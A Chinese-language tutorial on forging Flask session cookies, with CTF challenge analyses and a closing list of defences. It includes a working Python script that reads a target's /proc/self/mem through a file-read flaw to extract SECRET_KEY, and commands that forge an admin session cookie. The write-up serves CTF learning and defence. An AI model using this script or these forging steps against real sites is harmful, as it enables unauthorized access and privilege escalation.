Flask Session伪造
字数 1410 2025-08-11 17:39:47
Flask Session伪造攻击详解
1. Flask框架基础
Flask是一个基于Python的轻量级Web应用框架,使用Jinja2模板引擎和Werkzeug WSGI工具箱构建。在安全研究中,Flask的Session机制是一个重要的攻击面。
2. Flask Session机制解析
2.1 Session存储特点
- Flask的Session存储在客户端而非服务端
- Session数据经过签名处理,使用
app.config['SECRET_KEY']作为salt - Session数据格式:
base64(数据).时间戳.签名
2.2 Session安全依赖
- 安全性完全依赖于
SECRET_KEY的保密性 - 如果攻击者获取
SECRET_KEY,可以伪造任意Session - 默认情况下Session数据仅签名未加密,可被读取但无法篡改(无密钥时)
3. 获取SECRET_KEY的方法
3.1 源码泄露
- 检查
config.py等配置文件 - 在[HCTF2018]admin题目中,SECRET_KEY直接写在源码中
3.2 内存读取技术
当存在任意文件读取漏洞时,可通过以下步骤获取SECRET_KEY:
- 读取
/proc/self/maps获取内存映射信息 - 分析内存映射,找到可读写的内存区域
- 读取
/proc/self/mem对应内存区域 - 使用正则匹配提取SECRET_KEY
示例代码:
import requests, re
url = "http://target.com/"
maps_url = f"{url}/download?file=/proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
for m in maps:
start, end = m.split("-")[0], m.split("-")[1]
Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16))
read_url = f"{url}/download?file=/proc/self/mem&offset={Offset}&length={Length}"
s = requests.get(read_url).content
rt = re.findall(b"[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}", s)
if rt:
print(rt)
4. Session伪造实战
4.1 工具准备
使用flask_session_cookie_manager3.py工具进行Session编解码
4.2 攻击步骤
- 获取目标网站的Session Cookie
- 解码现有Session:
python flask_session_cookie_manager3.py decode -s "SECRET_KEY" -c "Session值" - 修改Session数据(如将username改为admin)
- 重新编码Session:
python flask_session_cookie_manager3.py encode -t "{'username':'admin'}" -s "SECRET_KEY" - 将伪造的Session替换原Cookie
5. 经典CTF题目分析
5.1 [HCTF2018]admin
- 通过源码注释发现SECRET_KEY泄露
- 直接伪造Session提升权限
5.2 [2022蓝帽杯]file_session
- 存在任意文件读取漏洞
- 通过读取内存获取SECRET_KEY
- 伪造Session实现越权
5.3 CatCTF[cat cat]
- 通过
/proc/self/maps和/proc/self/mem读取内存 - 特殊SECRET_KEY生成方式:
str(uuid.uuid4()).replace("-","") + "*abcdefgh" - 伪造admin Session获取flag
6. 防御措施
-
保护SECRET_KEY:
- 不要将SECRET_KEY硬编码在源码中
- 使用环境变量存储SECRET_KEY
- 定期更换SECRET_KEY
-
Session安全配置:
- 使用
SESSION_COOKIE_HTTPONLY和SESSION_COOKIE_SECURE - 考虑使用服务端Session存储
- 使用
-
文件权限控制:
- 限制对
/proc目录的访问 - 避免任意文件读取漏洞
- 限制对
7. 总结
Flask Session伪造攻击的核心在于获取SECRET_KEY,通过源码泄露或内存读取等技术获取密钥后,攻击者可以伪造任意用户身份。开发人员应重视SECRET_KEY的保护,并实施适当的防御措施来防止此类攻击。